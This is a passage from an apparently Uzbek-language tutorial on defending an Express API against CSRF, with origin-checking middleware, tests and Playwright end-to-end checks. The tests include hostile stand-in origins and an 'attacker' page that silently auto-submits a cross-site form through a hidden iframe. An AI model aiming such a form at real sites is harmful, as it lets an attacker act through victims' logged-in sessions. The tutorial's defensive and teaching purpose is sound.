    if (sfs === "cross-site" || sfs === "same-site") {
      throw new CsrfXatosi(`Sec-Fetch-Site: ${sfs}`);
    }
    next();
  };
}

Uch tafsilot:

  • O'z origin'imiz — req.protocol + Host sarlavhasi. Server reverse proxy orqasida bo'lsa, req.protocol to'g'ri bo'lishi uchun Express'da trust proxy sozlangan bo'lishi kerak (Reverse proxy orqasida Node) — aks holda https sahifadan kelgan so'rov http://… bilan solishtiriladi va 403 oladi.
  • origin.slice(0, 100) — xato matniga begona qiymatni cheklab yozamiz: 10 KB lik sarlavha log'ni to'ldirmasin.
  • Middleware throw qiladi — Express 5 xatoni global ishlovchiga uzatadi va javob Problem Details (kod: "csrf") bo'ladi (Global error handler).

10.2 Ulash

src/ilova.ts da — sessiyani aniqlashdan oldin, CORS ro'yxatini qayta ishlatib:

ts
  if (auth !== undefined) {
    // CSRF: cookie bilan kelgan o'zgartiruvchi so'rov — faqat o'z
    // origin'imiz yoki CORS ro'yxatidagi frontend'dan
    app.use(csrfHimoya(corsOriginlar));
    app.use(kimlik(auth.sessiyalar));
  }

Tartib muhim: rad etiladigan so'rov bazaga (sessiya tekshiruviga) ham bormaydi. Ruxsat ro'yxati bitta — CORS_ORIGINS; ikki joyda alohida ro'yxat yuritilsa, ertami-kechmi ular farq qilib qoladi.

10.3 Testlar

test/csrf.test.ts — uchta test, middleware'ni kichik Express ilovada sinaydi (sessiyasiz, bazasiz). Birinchisining yadrosi (bo'lingan):

ts
const C = "__Host-sessiya=abc";
const begonalar = [
  "https://yovuz.example", "null", "http://localhost:5174",
  "http://localhost:5173.yovuz.example",
];
for (const o of begonalar) {
  const r = await request(app).post("/x")
    .set("Cookie", C).set("Origin", o).expect(403);
  assert.equal((r.body as { kod: string }).kod, "csrf", o);
}

Biz ishga tushirdik (kanon nusxasi va yuqoridagi bo'lingan csrf.ts bilan, Node 24.21.0):

bash
node --test test/csrf.test.ts
text
✔ o'zgartiruvchi so'rov + cookie: o'z origin'i va ro'yxatdagi frontend — o'tadi; begona, 'null', boshqa port — 403 csrf (121.7086ms)
✔ Origin yo'q: Sec-Fetch-Site cross-site / same-site — 403; same-origin / none / sarlavhasiz (curl) — o'tadi (28.9934ms)
✔ xavfsiz metodlar va cookie'siz so'rovlar tekshirilmaydi (13.7536ms)
ℹ tests 3
ℹ suites 0
ℹ pass 3
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 5224.3494

10.4 Haqiqiy brauzer: e2e/

Supertest brauzer emas — u SameSite ni bilmaydi. Hujumni isbotlash uchun kanon Playwright qo'shdi (Playwright I: e2e testlar asoslari): dev bog'liqlik playwright 1.64.0, yangi papka e2e/:

  • e2e/yordam.ts — brauzer() (Chromium), api(pool) (API tasodifiy portda, haqiqiy Postgres), sahifaServer(html) ("hujumchi" sayti).
  • e2e/csrf.e2e.ts — to'rt ssenariy: bir saytdan forma, boshqa saytdan forma, no-cors text/plain fetch, o'z sahifasidan JSON POST.

Hujum sahifasining yadrosi:

ts
async function formaHujumi(host: string, yol: string) {
  const h = await sahifaServer(() => `<!doctype html><body>
    <iframe name="n"></iframe>
    <form id="f" method="post" action="${a.asos}${yol}"
      target="n"></form>
    <script>document.getElementById("f").submit()</script>
  </body>`);
  const p = await ctx.newPage();
  await p.goto(`http://${host}:${String(h.port)}/`);
  await p.waitForTimeout(800);
  await p.close();
  h.server.close();
}

host — "localhost" (bir sayt, API ham localhost da) yoki "127.0.0.1" (boshqa sayt). package.json ga skript: "e2e": "node --test --test-concurrency=1 \"e2e/**/*.e2e.ts\""; tsconfig.json ning include ro'yxatiga "e2e". Brauzer — npx playwright install chromium o'rnatgani.

Middleware qo'shilgandan keyin to'rt ssenariy ham o'tdi. Kanon tekshiruvi (2026-10-27, PostgreSQL 18.6): tip va lint xatosiz, testlar 147 (146 + 1 o'tkazilgan) — oldingi 144 ga uchta yangi, e2e 4/4.

10.5 Commit

Bu holat uchta darsni yopadi: JWT va refresh token — tajriba bo'lib qoldi (loyihaga kirmadi), CSRF himoyasi — kirdi. Commit:

bash
M="feat(auth): CSRF himoyasi — o'zgartiruvchi so'rovda Origin /"
M+=" Sec-Fetch-Site tekshiruvi; e2e: Playwright bilan CSRF hujumlari"
git add src test e2e package.json package-lock.json tsconfig.json
git commit -m "$M"

11. Real ishda

  • Freymvorklar CSRF'ni turlicha hal qiladi: server HTML chizadigan freymvorklar odatda formaga token qo'yadi, SPA + cookie ilovalari SameSite va Origin/Fetch Metadata tekshiruviga tayanadi. Qaysi biri ekanini o'z freymvorkingiz hujjatidan tekshiring — "sukut bo'yicha himoyalangan" deb taxmin qilmang.
  • Subdomenlar — xavfli qo'shnilar: foydalanuvchi kontenti alohida saytda tursin, subdomenda emas.
  • Mobil ilovalar cookie bilan emas, Authorization sarlavhasi bilan ishlaydi — ular uchun CSRF muammo emas. Sessiya va JWT tanlovi aynan shu farqqa bog'liq — keyingi dars.
  • Intervyuda: "Tokenni qayerda saqlaysiz?", "SameSite=Lax yetarlimi?", "Origin tekshiruvi va CSRF tokeni farqi?", "Nega Authorization sarlavhasi CSRF'ga uchramaydi?".

Xulosa

  • localStorage — XSS uchun ochiq; HttpOnly cookie — XSS o'qiy olmaydi, lekin CSRF himoyasi kerak.
  • SameSite saytga qaraydi: boshqa port va subdomen — bir sayt, ulardan cookie baribir ketadi.
  • Kanon brauzerda haqiqiy teshik topdi: tanasiz chiqish-hammasi bir saytdagi formadan bajarildi.
  • Uch qatlam: SameSite=Lax + JSON talabi + Origin/Sec-Fetch-Site tekshiruvi (aniq tenglik, null — rad).
  • CSRF tokeni va imzolangan double-submit — server HTML formalari va boshqa arxitekturalar uchun; BFF — frontend boshqa saytda bo'lsa.
  • Origin tekshiruvi Host ga tayanadi: proxy Host ni o'zgartirmasin, trust proxy to'g'ri bo'lsin.

Keyingi dars: Session vs JWT qarori va uzoq sessiyalar — o'lchovlar asosida "sessiyami yoki JWT" qarorini hujjat (ADR) qilib yozamiz va "meni eslab qol", qurilmalar ro'yxati hamda bitta qurilmadan chiqishni qo'shamiz.

Manbalar

Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
Tokenni qayerda saqlash va CSRF: HttpOnly cookie, SameSite, Origin tekshiruvi va BFF — IlmHamroh